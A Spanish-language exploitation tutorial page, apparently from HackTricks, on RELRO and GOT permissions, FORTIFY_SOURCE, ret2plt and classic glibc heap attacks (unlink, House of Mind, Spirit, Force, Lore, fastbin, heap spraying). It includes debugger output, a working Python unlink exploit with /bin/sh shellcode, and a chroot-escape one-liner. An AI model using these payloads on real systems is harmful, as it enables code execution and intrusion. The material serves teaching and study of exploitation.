0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /tmp/tryc
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /tmp/tryc
0x0000555555559000 0x000055555557a000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤ search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/tryc'(0x555555557000-0x555555558000), permission=r--
0x555555557fd0 - 0x555555557fe8 → "\x00\xd1\xe4\xf7\xff\x7f[...]"
Sin relro:
gef➤ vmmap
Start End Offset Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/try
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/try
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /tmp/try
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /tmp/try
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /tmp/try
0x0000000000405000 0x0000000000426000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤ search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/try'(0x404000-0x405000), permission=rw-
0x404018 - 0x404030 → "\x00\xd1\xe4\xf7\xff\x7f[...]"
Para el binario sin relro, podemos ver que la dirección de entrada got
para fgets
es 0x404018
. Al observar los mapeos de memoria, vemos que cae entre 0x404000
y 0x405000
, lo cual tiene los permisos rw
, lo que significa que podemos leer y escribir en ella. Para el binario con relro, vemos que la dirección de la tabla got
para la ejecución del binario (pie está habilitado, por lo que esta dirección cambiará) es 0x555555557fd0
. En el mapeo de memoria de ese binario, cae entre 0x0000555555557000
y 0x0000555555558000
, lo cual tiene el permiso de memoria r
, lo que significa que solo podemos leer de ella.
Entonces, ¿cuál es el bypass? El bypass típico que uso es simplemente no escribir en las regiones de memoria que relro hace que sean de solo lectura y encontrar una forma diferente de lograr la ejecución de código.
Ten en cuenta que para que esto suceda, el binario necesita conocer de antemano las direcciones de las funciones:
- Lazy binding: La dirección de una función se busca la primera vez que se llama a la función. Por lo tanto, la
GOT
necesita tener permisos de escritura durante la ejecución. - Bind now: Las direcciones de las funciones se resuelven al comienzo de la ejecución, luego se otorgan permisos de solo lectura a secciones sensibles como
.got
,.dtors
,.ctors
,.dynamic
,.jcr
.`**
-z relro**
y**
-z now`**
Para verificar si un programa utiliza Bind now, puedes hacer lo siguiente:
readelf -l /proc/ID_PROC/exe | grep BIND_NOW
Cuando el binario es cargado en memoria y se llama a una función por primera vez, se salta a la PLT (Procedure Linkage Table), desde aquí se realiza un salto (jmp) a la GOT y se descubre que esa entrada no ha sido resuelta (contiene una dirección siguiente de la PLT). Entonces se invoca al Runtime Linker o rtfd para que resuelva la dirección y la guarde en la GOT.
Cuando se llama a una función, se llama a la PLT, que tiene la dirección de la GOT donde se almacena la dirección de la función. Así se redirige el flujo allí y se llama a la función. Sin embargo, si es la primera vez que se llama a la función, lo que hay en la GOT es la siguiente instrucción de la PLT, por lo tanto el flujo sigue el código de la PLT (rtfd) y averigua la dirección de la función, la guarda en la GOT y la llama.
Al cargar un binario en memoria, el compilador le ha indicado en qué offset debe situar datos que se deben cargar cuando se ejecuta el programa.
Lazy binding: La dirección de la función se busca la primera vez que se invoca dicha función, por lo que la GOT tiene permisos de escritura para que cuando se busque, se guarde ahí y no haya que volver a buscarla.
Bind now: Las direcciones de las funciones se buscan al cargar el programa y se cambian los permisos de las secciones .got, .dtors, .ctors, .dynamic, .jcr a solo lectura. -z relro y -z now
A pesar de esto, en general los programas no están complicados con esas opciones, por lo que estos ataques siguen siendo posibles.
readelf -l /proc/ID_PROC/exe | grep BIND_NOW: Para saber si usan el BIND NOW
Fortify Source -D_FORTIFY_SOURCE=1 o =2
Trata de identificar las funciones que copian de un sitio a otro de forma insegura y cambiar la función por una función segura.
Por ejemplo: char buf[16]; strcpy(buf, source);
La identifica como insegura y entonces cambia strcpy() por __strcpy_chk() utilizando el tamaño del buffer como tamaño máximo a copiar.
La diferencia entre =1 o =2 es que:
La segunda no permite que %n venga de una sección con permisos de escritura. Además, el parámetro para acceso directo de argumentos solo puede ser usado si se usan los anteriores, es decir, solo se puede usar %3$d si antes se ha usado %2$d y %1$d
Para mostrar el mensaje de error se usa el argv[0], por lo que si se pone en él la dirección de otro sitio (como una variable global), el mensaje de error mostrará el contenido de dicha variable. Página 191
Reemplazo de Libsafe
Se activa con: LD_PRELOAD=/lib/libsafe.so.2
o
“/lib/libsave.so.2” > /etc/ld.so.preload
Se interceptan las llamadas a algunas funciones inseguras por otras seguras. No está estandarizado. (solo para x86, no para compilaciones con -fomit-frame-pointer, no compilaciones estáticas, no todas las funciones vulnerables se vuelven seguras y LD_PRELOAD no sirve en binarios con suid).
ASCII Armored Address Space
Consiste en cargar las librerías compartidas de 0x00000000 a 0x00ffffff para que siempre haya un byte 0x00. Sin embargo, esto realmente no detiene apenas ningún ataque, y menos en little endian.
ret2plt
Consiste en realizar un ROP de forma que se llame a la función strcpy@plt (de la plt) y se apunte a la entrada de la GOT y se copie el primer byte de la función a la que se quiere llamar (system()). Acto seguido se hace lo mismo apuntando a GOT+1 y se copia el 2º byte de system()… Al final se llama la dirección guardada en GOT que será system()
Falso EBP
Para las funciones que usen el EBP como registro para apuntar a los argumentos, al modificar el EIP y apuntar a system(), también se debe haber modificado el EBP para que apunte a una zona de memoria que tenga 2 bytes cualesquiera y después la dirección a &”/bin/sh”.
Jaulas con chroot()
debootstrap -arch=i386 hardy /home/user —> Instala un sistema básico bajo un subdirectorio específico
Un admin puede salir de una de estas jaulas haciendo: mkdir foo; chroot foo; cd ..
Instrumentación de código
Valgrind —> Busca errores
Memcheck
RAD (Return Address Defender)
Insure++
8 Heap Overflows: Exploits básicos
Trozo asignado
prev_size |
size | —Cabecera
*mem | Datos
Trozo libre
prev_size |
size |
*fd | Ptr forward chunk
*bk | Ptr back chunk —Cabecera
*mem | Datos
Los trozos libres están en una lista doblemente enlazada (bin) y nunca pueden haber dos trozos libres juntos (se juntan)
En “size” hay bits para indicar: Si el trozo anterior está en uso, si el trozo ha sido asignado mediante mmap() y si el trozo pertenece al arena primario.
Si al liberar un trozo alguno de los contiguos se encuentra libre, estos se fusionan mediante la macro unlink() y se pasa el nuevo trozo más grande a frontlink() para que le inserte el bin adecuado.
unlink(){
BK = P->bk; —> El BK del nuevo chunk es el que tuviese el que ya estaba libre antes
FD = P->fd; —> El FD del nuevo chunk es el que tuviese el que ya estaba libre antes
FD->bk = BK; —> El BK del siguiente chunk apunta al nuevo chunk
BK->fd = FD; —> El FD del anterior chunk apunta al nuevo chunk
}
Por lo tanto, si conseguimos modificar el P->bk con la dirección de un shellcode y el P->fd con la dirección a una entrada en la GOT o DTORS menos 12, se logra:
BK = P->bk = &shellcode
FD = P->fd = &dtor_end - 12
FD->bk = BK -> *((&dtor_end - 12) + 12) = &shellcode
Y así, al salir del programa, se ejecuta la shellcode.
Además, la 4º sentencia de unlink() escribe algo y la shellcode tiene que estar preparada para esto:
BK->fd = FD -> *((&shellcode + 8) = (&dtor_end - 12) —> Esto provoca la escritura de 4 bytes a partir del 8º byte de la shellcode, por lo que la primera instrucción de la shellcode debe ser un jmp para saltar esto y caer en unos nops que lleven al resto de la shellcode.
Por lo tanto, el exploit se crea:
En el buffer1 metemos la shellcode comenzando por un jmp para que caiga en los nops o en el resto de la shellcode. Después de la shell code, llenamos con relleno hasta llegar al campo prev_size y size del siguiente trozo. En estos lugares, colocamos 0xfffffff0 (para sobrescribir prev_size y establecer el bit que indica que está libre) y "-4" (0xfffffffc) en size (para que cuando se compruebe en el tercer trozo si el segundo está libre, en realidad se vaya al prev_size modificado que indicará que está libre). De esta manera, cuando se llame a free(), se irá al size del tercer trozo pero en realidad se irá al segundo menos 4 y se pensará que el segundo trozo está libre. Y luego se llamará a unlink().
Al llamar a unlink(), se utilizarán los primeros datos del segundo trozo como P->fd, por lo que se colocará la dirección que se desea sobrescribir - 12 (ya que se sumará 12 a la dirección guardada en FD en BK). Y en esa dirección se introducirá la segunda dirección que se encuentre en el segundo trozo, que será la dirección de la shellcode (P->bk falso).
from struct import *
import os
shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12 bytes de relleno
shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
prev_size = pack("<I”, 0xfffffff0) #Interesa que el bit que indica que el anterior trozo está libre esté a 1
fake_size = pack("<I”, 0xfffffffc) #-4, para que piense que el “size” del 3º trozo está 4bytes detrás (apunta a prev_size) pues es ahí donde mira si el 2º trozo está libre
addr_sc = pack("<I", 0x0804a008 + 8) #En el payload al principio le vamos a poner 8bytes de relleno
got_free = pack("<I", 0x08048300 - 12) #Dirección de free() en la plt-12 (será la dirección que se sobrescrita para que se lanza la shellcode la 2º vez que se llame a free)
payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) # Como se dijo el payload comienza con 8 bytes de relleno porque sí
payload += prev_size + fake_size + got_free + addr_sc #Se modifica el 2º trozo, el got_free apunta a donde vamos a guardar la direccion addr_sc + 12
os.system("./8.3.o " + payload)
unset() liberando en sentido inverso (wargame)
Estamos controlando 3 chunks consecutivos y se liberan en orden inverso al reservado.
En ese caso:
En el chunck c se pone el shellcode
El chunck a lo usamos para sobreescribir el b de forma que el el size tenga el bit PREV_INUSE desactivado de forma que piense que el chunck a está libre.
Además, se sobreescribe en la cabecera b el size para que valga -4.
Entonces, el programa se pensará que “a” está libre y en un bin, por lo que llamará a unlink() para desenlazarlo. Sin embargo, como la cabecera PREV_SIZE vale -4. Se pensará que el trozo de “a” realmente empieza en b+4. Es decir, hará un unlink() a un trozo que comienza en b+4, por lo que en b+12 estará el puntero “fd” y en b+16 estará el puntero “bk”.
De esta forma, si en bk ponemos la dirección a la shellcode y en fd ponemos la dirección a la función “puts()”-12 tenemos nuestro payload.
Técnica de Frontlink
Se llama a frontlink cuando se libera algo y ninguno de sus trozos contiguos no son libres, no se llama a unlink() sino que se llama directamente a frontlink().
Vulnerabilidad útil cuando el malloc que se ataca nunca es liberado (free()).
Necesita:
Un buffer que pueda desbordarse con la función de entrada de datos
Un buffer contiguo a este que debe ser liberado y al que se le modificará el campo fd de su cabecera gracias al desbordamiento del buffer anterior
Un buffer a liberar con un tamaño mayor a 512 pero menor que el buffer anterior
Un buffer declarado antes del paso 3 que permita sobreescribir el prev_size de este
De esta forma logrando sobres cribar en dos mallocs de forma descontrolada y en uno de forma controlada pero que solo se libera ese uno, podemos hacer un exploit.
Vulnerabilidad double free()
Si se llama dos veces a free() con el mismo puntero, quedan dos bins apuntando a la misma dirección.
En caso de querer volver a usar uno se asignaría sin problemas. En caso de querer usar otro, se le asignaría el mismo espacio por lo que tendríamos los punteros “fd” y “bk” falseados con los datos que escribirá la reserva anterior.
After free()
Un puntero previamente liberado es usado de nuevo sin control.
8 Heap Overflows: Exploits avanzados
Las técnicas de Unlink() y FrontLink() fueron eliminadas al modificar la función unlink().
The house of mind
Solo una llamada a free() es necesaria para provocar la ejecución de código arbitrario. Interesa buscar un segundo trozo que puede ser desbordado por uno anterior y liberado.
Una llamada a free() provoca llamar a public_fREe(mem), este hace:
mstate ar_ptr;
mchunkptr p;
…
p = mem2chunk(mes); —> Devuelve un puntero a la dirección donde comienza el trozo (mem-8)
…
ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]
…
_int_free(ar_ptr, mem);
}
En [1] comprueba el campo size el bit NON_MAIN_ARENA, el cual se puede alterar para que la comprobación devuelva true y ejecute heap_for_ptr() que hace un and a “mem” dejando a 0 los 2.5 bytes menos importantes (en nuestro caso de 0x0804a000 deja 0x08000000) y accede a 0x08000000->ar_ptr (como si fuese un struct heap_info) De esta manera, podemos controlar un chunk, por ejemplo en 0x0804a000, y cuando se libere un chunk en 0x081002a0, podemos llegar a la dirección 0x08100000 y escribir lo que queramos, por ejemplo 0x0804a000. Cuando se libere este segundo chunk, heap_for_ptr(ptr)->ar_ptr devolverá lo que hemos escrito en 0x08100000 (ya que se aplica a 0x081002a0 el "and" que vimos antes y se obtiene el valor de los primeros 4 bytes, el ar_ptr).
De esta manera, se llama a _int_free(ar_ptr, mem), es decir, _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){
…
bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;
..}
Como vimos antes, podemos controlar el valor de av, ya que es lo que escribimos en el chunk que se va a liberar.
Como se define unsorted_chunks, sabemos que:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;
Por lo tanto, si escribimos el valor de __DTOR_END__-12 en av->bins[2], en la última instrucción se escribirá en __DTOR_END__ la dirección del segundo chunk.
Es decir, en el primer chunk debemos poner al inicio muchas veces la dirección de __DTOR_END__-12, ya que av->bins[2] lo tomará de ahí.
En la dirección donde caiga la dirección del segundo chunk con los últimos 5 ceros, debemos escribir la dirección de este primer chunk para que heap_for_ptr() piense que el ar_ptr está al inicio del primer chunk y tome av->bins[2] de ahí.
En el segundo chunk, gracias al primero, sobrescribimos prev_size con un jump 0x0c y size con algo para activar -> NON_MAIN_ARENA.
A continuación, en el chunk 2, ponemos muchos nops y finalmente la shellcode.
De esta manera, se llamará a _int_free(CHUNK1, CHUNK2) y seguirá las instrucciones para escribir en __DTOR_END__ la dirección del prev_size del CHUNK2, que saltará a la shellcode.
Para aplicar esta técnica, se necesitan cumplir algunos requisitos adicionales que complican un poco más el payload.
Esta técnica ya no es aplicable, ya que se aplicó casi el mismo parche que para unlink. Se compara si el nuevo sitio al que se apunta también está apuntando a él.
Fastbin
Es una variante de The house of mind.
Nos interesa ejecutar el siguiente código, al cual se llega después de la primera comprobación de la función _int_free():
fb = &(av->fastbins[fastbin_index(size)] —> Siendo fastbin_index(sz) —> (sz >> 3) - 2
…
p->fd = *fb
*fb = p
De esta manera, si se pone en "fb" la dirección de una función en la GOT, en esa dirección se pondrá la dirección del chunk sobrescrito. Para esto, es necesario que la arena esté cerca de las direcciones de dtors. Más específicamente, que av->max_fast esté en la dirección que vamos a sobrescribir.
Dado que con The House of Mind vimos que controlamos la posición de av.
Entonces, si en el campo size ponemos un tamaño de 8 + NON_MAIN_ARENA + PREV_INUSE, fastbin_index() nos devolverá fastbins[-1], que apuntará a av->max_fast.
En este caso, av->max_fast será la dirección que se sobrescribirá (no a la que apunta, sino que esa posición será la que se sobrescribirá).
Además, se debe cumplir que el chunk contiguo al liberado sea mayor que 8. Dado que hemos dicho que el tamaño del chunk liberado es 8, en este chunk falso solo tenemos que poner un tamaño mayor que 8 (además, la shellcode irá en el chunk liberado, así que habrá que poner al principio un jmp que caiga en nops).
Además, ese mismo chunk falso debe ser menor que av->system_mem. av->system_mem se encuentra 1848 bytes más adelante.
Debido a los nulos de _DTOR_END_ y a las pocas direcciones en la GOT, ninguna dirección de estas secciones sirve para ser sobrescrita. Así que veamos cómo aplicar fastbin para atacar la pila.
Otra forma de ataque es redirigir el av hacia la pila.
Si modificamos el size para que sea 16 en lugar de 8, entonces fastbin_index() nos devolverá fastbins[0] y podemos usar esto para sobrescribir la pila.
Para esto, no debe haber ningún canary ni valores extraños en la pila. De hecho, debemos encontrarnos en esta estructura: 4 bytes nulos + EBP + RET.
Los 4 bytes nulos son necesarios para que el av esté en esta dirección y el primer elemento de un av sea el mutex, que debe tener un valor de 0.
El av->max_fast será el EBP y será un valor que nos permitirá saltarnos las restricciones.
En el av->fastbins[0] se sobrescribirá con la dirección de p y será el RET, así se saltará a la shellcode.
Además, en av->system_mem (1484 bytes por encima de la posición en la pila) habrá suficiente basura que nos permitirá saltarnos la comprobación que se realiza.
Además, se debe cumplir que el chunk contiguo al liberado sea mayor que 8. Dado que hemos dicho que el tamaño del chunk liberado es 16, en este chunk falso solo tenemos que poner un tamaño mayor que 8 (además, la shellcode irá en el chunk liberado, así que habrá que poner al principio un jmp que caiga en los nops que van después del campo size del nuevo chunk falso).
The House of Spirit
En este caso, buscamos tener un puntero a un malloc que pueda ser alterado por el atacante (por ejemplo, que el puntero esté en el stack debajo de un posible desbordamiento de una variable).
De esta manera, podríamos hacer que este puntero apunte a donde sea. Sin embargo, no cualquier ubicación es válida, el tamaño del chunk falso debe ser menor que av->max_fast y, más específicamente, igual al tamaño solicitado en una futura llamada a malloc()+8. Por lo tanto, si sabemos que después de este puntero vulnerable se llama a malloc(40), el tamaño del chunk falso debe ser igual a 48. Si, por ejemplo, el programa solicita al usuario un número, podríamos ingresar 48 y apuntar el puntero de malloc modificable a los siguientes 4 bytes (que podrían pertenecer al EBP con suerte, de modo que el 48 quede detrás, como si fuera la cabecera size). Además, la dirección ptr-4+48 debe cumplir varias condiciones (siendo en este caso ptr=EBP), es decir, 8 < ptr-4+48 < av->system_mem.
Si se cumplen estas condiciones, cuando se llame al siguiente malloc que dijimos que era malloc(40), se le asignará como dirección la dirección del EBP. Si el atacante también puede controlar lo que se escribe en este malloc, puede sobrescribir tanto el EBP como el EIP con la dirección que desee.
Esto se debe a que cuando se libere con free(), se guardará que en la dirección que apunta al EBP del stack hay un trozo de tamaño perfecto para el nuevo malloc() que se quiere reservar, por lo que se le asigna esa dirección.
La Casa de la Fuerza
Es necesario:
- Un desbordamiento en un trozo que permita sobrescribir el wilderness.
- Una llamada a malloc() con el tamaño definido por el usuario.
- Una llamada a malloc() cuyos datos puedan ser definidos por el usuario.
Lo primero que se hace es sobrescribir el size del trozo wilderness con un valor muy grande (0xffffffff), de modo que cualquier solicitud de memoria lo suficientemente grande se trate en _int_malloc() sin necesidad de expandir el heap.
Lo segundo es alterar el av->top para que apunte a una zona de memoria bajo el control del atacante, como el stack. En av->top se pondrá &EIP - 8.
Tenemos que sobrescribir av->top para que apunte a la zona de memoria bajo el control del atacante:
victim = av->top;
remainder = chunck_at_offset(victim, nb);
av->top = remainder;
Victim recoge el valor de la dirección del trozo wilderness actual (el actual av->top) y remainder es exactamente la suma de esa dirección más la cantidad de bytes solicitados por malloc(). Por lo tanto, si &EIP-8 está en 0xbffff224 y av->top contiene 0x080c2788, entonces la cantidad que tenemos que reservar en el malloc controlado para que av->top apunte a $EIP-8 para el próximo malloc() será:
0xbffff224 - 0x080c2788 = 3086207644.
Así se guardará en av->top el valor alterado y el próximo malloc apuntará al EIP y podrá sobrescribirlo.
Es importante saber que el size del nuevo trozo wilderness sea más grande que la solicitud realizada por el último malloc(). Es decir, si el wilderness está apuntando a &EIP-8, el size quedará justo en el campo EBP del stack.
La Casa del Conocimiento
Corrupción de SmallBin
Los trozos liberados se introducen en el bin en función de su tamaño. Pero antes de introducirlos, se guardan en unsorted bins. Cuando se libera un trozo, no se mete inmediatamente en su bin, sino que se queda en unsorted bins. A continuación, si se reserva un nuevo trozo y el anterior liberado le puede servir, se le devuelve, pero si se reserva uno más grande, el trozo liberado en unsorted bins se mete en su bin correspondiente.
Para alcanzar el código vulnerable, la solicitud de memoria debe ser mayor que av->max_fast (normalmente 72) y menor que MIN_LARGE_SIZE (512).
Si en el bin hay un trozo del tamaño adecuado a lo que se pide, se devuelve ese después de desenlazarlo:
bck = victim->bk; Apunta al trozo anterior, es la única información que podemos alterar.
bin->bk = bck; El penúltimo trozo pasa a ser el último, en caso de que bck apunte al stack, al siguiente trozo reservado se le dará esta dirección.
bck->fd = bin; Se cierra la lista haciendo que este apunte a bin.
Se necesita:
- Que se reserven dos malloc, de forma que al primero se le pueda hacer un desbordamiento después de que el segundo haya sido liberado e introducido en su bin (es decir, se haya reservado un malloc superior al segundo trozo antes de hacer el desbordamiento).
- Que el malloc reservado al que se le da la dirección elegida por el atacante sea controlado por el atacante.
El objetivo es el siguiente: si podemos hacer un desbordamiento en un heap que tiene debajo un trozo ya liberado y en su bin, podemos alterar su puntero bk. Si alteramos su puntero bk y este trozo llega a ser el primero de la lista de bin y se reserva, engañaremos a bin y le diremos que el último trozo de la lista (el siguiente en ofrecer) está en la dirección falsa que hayamos puesto (al stack o GOT, por ejemplo). Por lo tanto, si se vuelve a reservar otro trozo y el atacante tiene permisos en él, se le dará un trozo en la posición deseada y podrá escribir en ella.
Después de liberar el trozo modificado, es necesario reservar un trozo más grande que el liberado, de modo que el trozo modificado salga de unsorted bins y se introduzca en su bin correspondiente.
Una vez en su bin, es el momento de modificar su puntero bk mediante el desbordamiento para que apunte a la dirección que queremos sobrescribir.
Así, el bin deberá esperar su turno hasta que se llame a malloc() suficientes veces como para que se vuelva a utilizar el bin modificado y engañe a bin haciéndole creer que el siguiente trozo está en la dirección falsa. A continuación, se dará el trozo que nos interesa.
Para que se ejecute la vulnerabilidad lo antes posible, lo ideal sería: reserva del trozo vulnerable, reserva del trozo que se modificará, se libera este trozo, se reserva un trozo más grande al que se modificará, se modifica el trozo (vulnerabilidad), se reserva un trozo del mismo tamaño que el vulnerado y se reserva un segundo trozo del mismo tamaño, y este será el que apunte a la dirección elegida.
Para proteger este ataque, se usa la típica comprobación de que el trozo "no" es falso: se comprueba si bck->fd está apuntando a victim. Es decir, en nuestro caso, si el puntero fd* del trozo falso apuntado en el stack está apuntando a victim. Para superar esta protección, el atacante debería ser capaz de escribir de alguna forma (probablemente en el stack) en la dirección adecuada, la dirección de victim, para que así parezca un trozo verdadero.
Corrupción de LargeBin
Se necesitan los mismos requisitos que antes y algunos más, además de que los trozos reservados deben ser mayores a 512.
El ataque es similar al anterior, es decir, hay que modificar el puntero bk y se necesitan todas esas llamadas a malloc(), pero además hay que modificar el size del trozo modificado de forma que ese size - nb sea < MINSIZE.
Por ejemplo, se puede poner en size 1552 para que 1552 - 1544 = 8 < MINSIZE (la resta no puede ser negativa porque se compara un unsigned).
Además, se ha introducido un parche para hacerlo aún más complicado.
Heap Spraying Básicamente consiste en reservar toda la memoria posible para heaps y rellenar estos con un colchón de nops acabados por una shellcode. Además, como colchón se utiliza 0x0c. Pues se intentará saltar a la dirección 0x0c0c0c0c, y así si se sobreescribe alguna dirección a la que se vaya a llamar con este colchón se saltará allí. Básicamente la táctica es reservar lo máximo posible para ver si se sobreescribe algún puntero y saltar a 0x0c0c0c0c esperando que allí haya nops.
Heap Feng Shui
Consiste en mediante reservas y liberaciones sementar la memoria de forma que queden trozos reservados entre medias de trozos libres. El buffer a desbordar se situará en uno de los huevos.
objdump -d ejecutable —> Desensambla funciones
objdump -d ./PROGRAMA | grep FUNCION —> Obtener dirección de la función
objdump -d -Mintel ./shellcodeout —> Para verificar que efectivamente es nuestra shellcode y obtener los OpCodes
objdump -t ./exec | grep varBss —> Tabla de símbolos, para obtener la dirección de variables y funciones
objdump -TR ./exec | grep exit(func lib) —> Para obtener la dirección de funciones de librerías (GOT)
objdump -d ./exec | grep funcCode
objdump -s -j .dtors /exec
objdump -s -j .got ./exec
objdump -t --dynamic-relo ./exec | grep puts —> Obtiene la dirección de puts a sobrescribir en la GOT
objdump -D ./exec —> Desensambla TODO hasta las entradas de la plt
objdump -p -/exec
Info functions strncmp —> Información de la función en gdb
Cursos interesantes
Referencias
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el merchandising oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de Telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.